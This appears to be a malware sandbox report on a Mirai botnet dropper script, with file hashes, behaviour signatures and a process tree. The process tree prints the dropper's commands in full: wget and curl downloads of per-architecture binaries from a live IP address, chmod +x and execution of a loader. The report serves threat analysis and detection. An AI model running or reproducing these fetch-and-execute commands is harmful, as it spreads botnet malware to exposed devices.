Overview

overview

10

Static

static

1

ebbb403ae5...160.sh

ubuntu-18.04-amd64

10

ebbb403ae5...160.sh

debian-9-armhf

10

ebbb403ae5...160.sh

debian-9-mips

10

ebbb403ae5...160.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    122s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    18-10-2024 03:07

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh

  • Size

    4KB

  • MD5

    2d520ab45c89c24520e0754fd1971be2

  • SHA1

    96e5de0ce70de4fa0f1adcd586aa49608bd578ea

  • SHA256

    ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160

  • SHA512

    496e0ee73afc2d1263db3012dec1578c3d493229a28e4fe97d5b63390ed86441b0fc42bc3f7d494569209b8642e8f5c9e239907cd1b8124bdeff619ba85e902b

  • SSDEEP

    96:vNVjWNw41Nx/SNN7uNdMdEpFDNn90NUsRN2mHNRfCN3t8NueXNyS7NGWfNPl3:IO4Fi

Score
10/10
miraiunstablebotnetdefense_evasiondiscoveryupx

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Contacts a large (166300) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 8 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh
    /tmp/ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh
    1⤵
    • Writes file to tmp directory
    PID:702
    • /usr/bin/wget
      wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Writes file to tmp directory
      PID:710
    • /usr/bin/curl
      curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:724
    • /bin/cat
      cat db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
        PID:734
      • /bin/chmod
        chmod +x db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh
        2⤵
        • File and Directory Permissions Modification
        PID:736
      • /tmp/load.sh
        ./load.sh aws.exploit
        2⤵
        • Executes dropped EXE
        PID:737
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:739
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:741
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        PID:742
      • /bin/chmod
        chmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh
        2⤵
        • File and Directory Permissions Modification
        PID:743
      • /tmp/load.sh
        ./load.sh aws.exploit
        2⤵
        • Executes dropped EXE
        PID:744
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Writes file to tmp directory
        PID:746
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:747
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
          PID:749
        • /bin/chmod
          chmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh
          2⤵
          • File and Directory Permissions Modification
          PID:750
        • /tmp/load.sh
          ./load.sh aws.exploit
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Changes its process name
          • Reads runtime system information
          PID:752
        • /usr/bin/wget
          wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Writes file to tmp directory
          PID:754
        • /usr/bin/curl
          curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:767
        • /bin/cat
          cat db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
            PID:774
          • /bin/chmod
            chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh
            2⤵
            • File and Directory Permissions Modification
            PID:775
          • /tmp/load.sh
            ./load.sh aws.exploit
            2⤵
            • Executes dropped EXE
            PID:776
          • /usr/bin/wget
            wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Writes file to tmp directory
            PID:778
          • /usr/bin/curl
            curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:783
          • /bin/cat
            cat db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
              PID:792
            • /bin/chmod
              chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh
              2⤵
              • File and Directory Permissions Modification
              PID:793
            • /tmp/load.sh
              ./load.sh aws.exploit
              2⤵
              • Executes dropped EXE
              PID:794
            • /usr/bin/wget
              wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Writes file to tmp directory
              PID:796
            • /usr/bin/curl
              curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:803
            • /bin/cat
              cat db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
                PID:815
              • /bin/chmod
                chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/load.sh
                ./load.sh aws.exploit
                2⤵
                • Executes dropped EXE
                PID:817
              • /usr/bin/wget
                wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Writes file to tmp directory
                PID:820
              • /usr/bin/curl
                curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:821
              • /bin/cat
                cat db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                  PID:823
                • /bin/chmod
                  chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:824
                • /tmp/load.sh
                  ./load.sh aws.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:825
                • /usr/bin/wget
                  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:827
                • /usr/bin/curl
                  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:828
                • /bin/cat
                  cat db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                    PID:829
                  • /bin/chmod
                    chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 ebbb403ae5c2bf4cbfa72c30f5e061d73fa5465c0a7c455e18a2cc73b413d160.sh load.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:830
                  • /tmp/load.sh
                    ./load.sh aws.exploit
                    2⤵
                    • Executes dropped EXE
                    PID:831
                  • /usr/bin/wget
                    wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:834

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86
                  Filesize

                  33KB

                  MD5

                  6d1b6e91b1e2037fbf62ca7ddcf04932

                  SHA1

                  d0769095ec2e678074eb206b3537022129c1a776

                  SHA256

                  7f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782

                  SHA512

                  7397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38

                  Download Submit

                • /tmp/load.sh
                  Filesize

                  35KB

                  MD5

                  fd5d7deebbb62aee931a1701a1042450

                  SHA1

                  4adc94ce9de13647815a16d6514b73e109c80785

                  SHA256

                  7a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9

                  SHA512

                  cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4

                  Download Submit

                • /tmp/load.sh
                  Filesize

                  37KB

                  MD5

                  144cc0c6dfb6f6e395065b02825a9ad1

                  SHA1

                  dfe5d7d8bef4511b42be1ae0235f7469d97bf789

                  SHA256

                  117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2

                  SHA512

                  9e5ca9ee3ebef09688d74de6bb4af9d6c1003173ee5846cd2370d4774e9bc92fef317113b19529cd2a5b1d18a38a626ebf6ed2da05e6c7b66e0d1b69d8ddc5d5

                  Download Submit

                • /tmp/load.sh
                  Filesize

                  34KB

                  MD5

                  b478298246ee6d313f4f576d0f7ec4cd

                  SHA1

                  94d25c6d4cfb1e218120d378d14c8d5ab868363b

                  SHA256

                  ed04f35cc6c4bef7ea8bf398436da916ebfab2490c10bd1d59df70f648e80df5

                  SHA512

                  83f67116e5c7074dcfa0e98d94697a0db2bdcaed15060aa31ed6a20eb543fd1d10d8fe26856178f78cc7402531de358e4b6c1d294086b18ab891d23954e78307

                  Download Submit

                • /tmp/load.sh
                  Filesize

                  30KB

                  MD5

                  d8893525da7152c787dcc7d6309a61ba

                  SHA1

                  87fa7fb894caaa77a9caa7bca6a5fd3fbe09f7cd

                  SHA256

                  2a1b03ac26cc72118fb419de4bee3352adf536ee4d5472e8cee14150ca53b8ef

                  SHA512

                  8fcf808c627c080350adcf005df853a6c1f3fb3e3b2b5d2745a972dcc4064ff731f7cebbbd7d4e8c9ade91727f587356f844b783fa6c90a2191b80a38ca1f6e6

                  Download Submit

                • /tmp/load.sh
                  Filesize

                  58KB

                  MD5

                  9f2845654c191bf453abcbf2adde9625

                  SHA1

                  24d62223d4801e4b3005759aaafc382c8b6dbb1b

                  SHA256

                  98164fe98014d122d6532a7c03c6c720db6fbf5c9e6fed7c7f80fa12f57a7647

                  SHA512

                  9b7afe327e4114393edcd75ddd0569766c272c8c512568175db372d1c1de89f9d52831ac2792acaa8ec6291eb72e112ce0217fad356611a05988afea17985183

                  Download Submit